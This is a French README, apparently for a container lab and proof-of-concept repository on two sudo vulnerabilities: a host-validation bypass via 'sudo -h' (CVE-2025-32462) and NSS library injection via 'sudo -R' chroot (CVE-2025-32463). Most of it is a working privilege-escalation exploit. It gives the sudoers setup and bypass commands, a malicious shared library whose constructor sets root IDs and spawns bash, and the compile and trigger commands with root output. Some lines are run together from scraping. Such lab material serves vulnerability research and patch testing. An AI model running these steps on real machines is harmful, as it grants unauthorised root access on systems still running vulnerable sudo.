
Laboratoire basé sur des conteneurs avec des preuves de concept d'exploits pour deux vulnérabilités critiques de sudo : contournement de validation d'hôte (CVE-2025-32462) et injection de la bibliothèque NSS via chroot (CVE-2025-32463) pour l'escalade de privilèges.
Ce dépôt fournit un laboratoire basé sur conteneur et un PoC détaillé pour deux vulnérabilités critiques de sudo:
-h-R chrootRecherche originale par Rich Mirch – Stratascale CRU
Environnement PoC et laboratoire par MAAYTHM
Sudo applique l'autorisation basée sur l'hôte via Host_Alias dans /etc/sudoers.
La vulnérabilité survient lorsque l'option -h est fournie : sudo évalue le nom d'hôte fourni plutôt que le nom d'hôte canonique du système, permettant aux utilisateurs restreints de contourner les politiques sudo basées sur l'hôte.
Impact:
L'option -R de sudo permet l'exécution dans un environnement chroot. Lors de l'initialisation, les bibliothèques NSS (Name Service Switch) sont chargées en fonction de /etc/nsswitch.conf. En fournissant un environnement chroot malveillant et une bibliothèque NSS personnalisée, un attaquant peut exécuter du code en tant que root.
Surface d'attaque:
nsswitch.conf défini par l'attaquantImpact:
pwn (non-root)CVE-2025-32462-CVE-2025-32463-PoC-Lab
├── Dockerfile
│ # Construit l'environnement sudo vulnérable
│
├── exploit/
│ ├── cve_2025_32463.c
│ │ # Bibliothèque partagée NSS malveillante utilisée pour l'élévation de privilèges
│ └── build.sh
│ # Compile la charge utile d'exploit en un module NSS partagé
│
├── lab/
│ └── setup.sh
│ # Automatise la configuration du laboratoire vulnérable et la mise en place de sudoers
│
└── README.md
# Documentation technique, analyse de vulnérabilité et guide d'utilisation du PoC
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
pkg-config libssl-dev git nano gcc && \
rm -rf /var/lib/apt/lists/*
WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
tar xzf sudo-1.9.16p2.tar.gz && \
cd sudo-1.9.16p2 && \
./configure --disable-gcrypt --prefix=/usr && \
make && make install
RUN useradd -m -s /bin/bash pwn && \
echo 'pwn:pwn' | chpasswd
USER pwn
WORKDIR /home/pwn
CMD ["/bin/bash"]
Construire et Exécuter le Laboratoire
docker build -t sudo-vuln-lab .
docker network create --subnet=172.190.0.0/16 sudolabnet
docker run -d \
--network sudolabnet \
--ip 172.190.0.3 \
--hostname lowpriv.test.local \
--add-host highpriv.test.local:172.190.0.2 \
--name lowpriv \
sudo-vuln-lab tail -f /dev/null
CVE-2025-32462 – Exploitation
docker exec -u root -it lowpriv bash
echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers
echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers
echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers
Comportement normal :
sudo id
# Password required
Exploitation :
sudo -h highpriv.test.local id
# uid=0(root) gid=0(root) groups=0(root)
sudo -h highpriv.test.local hostname -f
# lowpriv.test.local
CVE-2025-32463 – Exploitation
mkdir -p exploitDir/etc
echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf
mkdir libnss_
cp /etc/group exploitDir/etc/
Bibliothèque NSS malveillante :
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void GIVEMEROOT(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
Compiler :
gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c
Déclencheur :
sudo -R exploitDir <command>
# Root shell obtained
id
# uid=0(root) gid=0(root)